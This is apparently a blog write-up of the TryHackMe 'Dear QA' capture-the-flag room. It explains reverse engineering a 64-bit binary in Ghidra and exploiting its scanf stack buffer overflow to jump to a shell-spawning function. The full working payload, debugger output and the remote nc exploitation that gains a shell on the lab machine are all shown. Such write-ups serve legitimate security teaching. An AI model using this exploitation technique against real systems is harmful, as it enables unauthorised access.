[TryHackMe] Dear QA

[TryHackMe] Dear QA

·

6 min read

Just another BufferOverflow Write-up.

Are you able to solve this challenge involving reverse engineering and exploit development?

Link: tryhackme.com/room/dearqa

Binary analysis

The challenge's binary is a 64-bits ELF executable:

kali@kali:~$ file DearQA.DearQA
DearQA.DearQA: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dae71dcf7b3fe612fe9f7a4d0fa068ff3fc93bd, not stripped

Thus, we have the first challenge's response:

What is the binary architecture?

x64

The program asks for a name, and prints it in the console's output:

kali@kali:~$ ./DearQA.DearQA
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: jamarir
Hello: jamarir

That same program is run remotely on the lab's machine:

kali@kali:~$ nc 10.10.132.152 5700
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: jamarir
jamarir
Hello: jamarir

Thus, I suppose I have to exploit the binary in the server to get a flag. Let's analyse it locally using Ghidra.

Reverse engineering using Ghidra

First, I installed Ghidra and launched it:

wget https://download.oracle.com/java/17/latest/jdk-17_linux-x64_bin.tar.gz -O /tmp/jdk-17_linux-x64_bin.tar.gz
gzip -d /tmp/jdk-17_linux-x64_bin.tar.gz
cd ~
tar xvf /tmp/jdk-17_linux-x64_bin.tar
wget https://github.com/NationalSecurityAgency/ghidra/releases/download/Ghidra_10.1.2_build/ghidra_10.1.2_PUBLIC_20220125.zip -O /tmp/ghidra.zip
unzip /tmp/ghidra.zip -d ~/
sudo ln -s ~/ghidra_10.1.2_PUBLIC/ghidraRun /usr/local/bin/ghidra
ghidra

We see 2 interesting functions:

  • main(), which is called at startup:
int main(void)
{
    undefined name [32];

    puts("Welcome dearQA");
    puts("I am sysadmin, i am new in developing");
    printf("What\'s your name: ");
    fflush(stdout);
    __isoc99_scanf(&DAT_00400851,name);
    printf("Hello: %s\n",name);
    return 0;
}
  • vuln(), which spawns a shell:
void vuln(void)
{
    puts("Congratulations!");
    puts("You have entered in the secret function!");
    fflush(stdout);
    execve("/bin/bash",(char **)0x0,(char **)0x0);
    return;
}

Therefore, it becomes clear that we must, somehow, call the function vuln(), which isn't called in the main() function.

Buffer OverFlow

PoC

Our input is stored in a char array, limited to 32 characters.

int main(void)
{
  undefined name [32];

Therefore, if the input heavily exceeds that limit (e.g. with 100 characters), the program should crash:

kali@kali:~$ ./DearQA.DearQA <<< $(python2 -c 'print"A"*100')
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
zsh: segmentation fault  ./DearQA.DearQA <<< $(python2 -c 'print"A"*100')

This behaviour is due to the fact that the instruction pointer (eip:32-bits, rip:64-bits) points to an address which contains no instruction.

Overwritting rip was possible because the scanf function keeps on reading our input until it finds a NULL byte. In other words, it is possible to input more than 32 characters in name, which leads to memory overflow.

Indeed, when the name array is declared in main(), the stack looks like:

(0x0000000000000000)
...
name
name
name
name
rbp'
rip'
...
(0xffffffffffffffff)

Low memory addresses are at the top, whereas high memory addresses are at the bottom.

Before main() is called, it performs a prologue. First, the arguments of the function are pushed on the stack, in reverse order (e.g. argv, then argc if the call is main(int argc, char** argv)).

Here, no arguments are pushed as main(void) takes no argument.

Secondly, it saves (pushes) in the stack:

  • The instruction pointer (annotated rip'), in order to recover the execution flow after main() finished.

  • The base pointer (annotated rbp'), in order to recover that base pointer after main() finishes (the base pointer is used to look for arguments via offsets, e.g. argc=rbp+8, argv=rbp+12 in a 32-bits system).

As the architecture of the executable is 64 bits, each slot in the stack contains 64 bits, i.e. 8 bytes.

Let's have a look at the following crash in a debugger (I'm using the GDB-plugin pwndbg):

kali@kali:~$ gdb ./DearQA.DearQA
pwndbg> run <<< `python2 -c 'print"A"*32+"B"*8+"C"*8'`
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

 RBP  0x4242424242424242 ('BBBBBBBB')
 RSP  0x7fffffffda98 ◂— 'CCCCCCCC'
 RIP  0x40072f (main+108) ◂— ret
─────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────
 ► 0x40072f <main+108>    ret    <0x4343434343434343>

We know name is an array of 32 characters. However, when name has a length of 32+8+8, it first overwrites rbp', and then rip'.

Indeed, if name contains "A"*32+"B"*8+"C"*8, the stack's slots would contain:

(0x0000000000000000)
...
name (AAAAAAAA)
name (AAAAAAAA)
name (AAAAAAAA)
name (AAAAAAAA)
rbp' (BBBBBBBB)
rip' (CCCCCCCC)
...
(0xffffffffffffffff)

However, once the main() function finished, it executes its epilogue, which:

  • Sets the stack pointer to rbp' ;

  • Restores rbp into rbp' using the pop assembly instruction ;

  • Restores rip into rip' using the ret assembly instruction ;

However, our input above overwrote:

  • rbp' to "BBBBBBBB".

  • rip' to "CCCCCCCC".

As a result, the program crashes because the address contained in rip pointer (i.e. 0x4343434343434343) isn't pointing to an instruction.

RCE

All we need to do is to set rip' to the vuln()'s address in order to get a shell. In other words, we are telling the program that once main() has been executed, it should continue with vuln().

nm tool can be used to retrieve the addresses of the functions in the executable:

kali@kali:~$ nm DearQA.DearQA
0000000000600c08 B __bss_start
0000000000600c18 b completed.6670
0000000000600bf8 D __data_start
0000000000600bf8 W data_start
00000000004005c0 t deregister_tm_clones
0000000000400640 t __do_global_dtors_aux
00000000006009c0 d __do_global_dtors_aux_fini_array_entry
0000000000600c00 D __dso_handle
00000000006009d0 d _DYNAMIC
0000000000600c08 D _edata
0000000000600c20 B _end
                 U execve@@GLIBC_2.2.5
                 U fflush@@GLIBC_2.2.5
00000000004007a4 T _fini
0000000000400660 t frame_dummy
00000000006009b8 d __frame_dummy_init_array_entry
00000000004009b0 r __FRAME_END__
0000000000600ba8 d _GLOBAL_OFFSET_TABLE_
                 w __gmon_start__
00000000004004f0 T _init
00000000006009c0 d __init_array_end
00000000006009b8 d __init_array_start
00000000004007b0 R _IO_stdin_used
                 U __isoc99_scanf@@GLIBC_2.7
                 w _ITM_deregisterTMCloneTable
                 w _ITM_registerTMCloneTable
00000000006009c8 d __JCR_END__
00000000006009c8 d __JCR_LIST__
                 w _Jv_RegisterClasses
00000000004007a0 T __libc_csu_fini
0000000000400730 T __libc_csu_init
                 U __libc_start_main@@GLIBC_2.2.5
00000000004006c3 T main
                 U printf@@GLIBC_2.2.5
                 U puts@@GLIBC_2.2.5
0000000000400600 t register_tm_clones
0000000000400590 T _start
0000000000600c10 B stdout@@GLIBC_2.2.5
0000000000600c08 D __TMC_END__
0000000000400686 T vuln

The address we need to overwrite is 0x0000000000400686 (last line above). In little-endian, the payload is:

kali@kali:~$ ./DearQA.DearQA <<< `python2 -c 'print"A"*32+"B"*8+"\x86\x06\x40\x00\x00\x00\x00\x00"'`
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB@
Congratulations!
You have entered in the secret function!

What goes into rbp doesn't matter. Here, I filled it with eight "B"s.

The secret function got executed! However, the execution flow immediately stops after the name is displayed in the console.

We can use cat in order to block the execution flow after the shell spawned:

kali@kali:~$ (python2 -c 'print"A"*32+"BBBBBBBB"+"\x86\x06\x40\x00\x00\x00\x00\x00"'; cat) |./DearQA.DearQA
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB@
Congratulations!
You have entered in the secret function!
whoami
kali

Finally, we can use the same payload in the server to spawn a remote shell:

kali@kali:~$ (python2 -c 'print"A"*32+"BBBBBBBB"+"\x86\x06\x40\x00\x00\x00\x00\x00"'; cat) |nc 10.10.132.152 5700
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB^F@^@^@^@^@^@
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB@
Congratulations!
You have entered in the secret function!
bash: cannot set terminal process group (450): Inappropriate ioctl for device
bash: no job control in this shell

The flag is:

ctf@dearqa:/home/ctf$ ls
DearQA  dearqa.c  flag.txt

ctf@dearqa:/home/ctf$ cat flag.txt
THM{PW[...]SY}

Did you find this article valuable?

Support jamarir's blog by becoming a sponsor. Any amount is appreciated!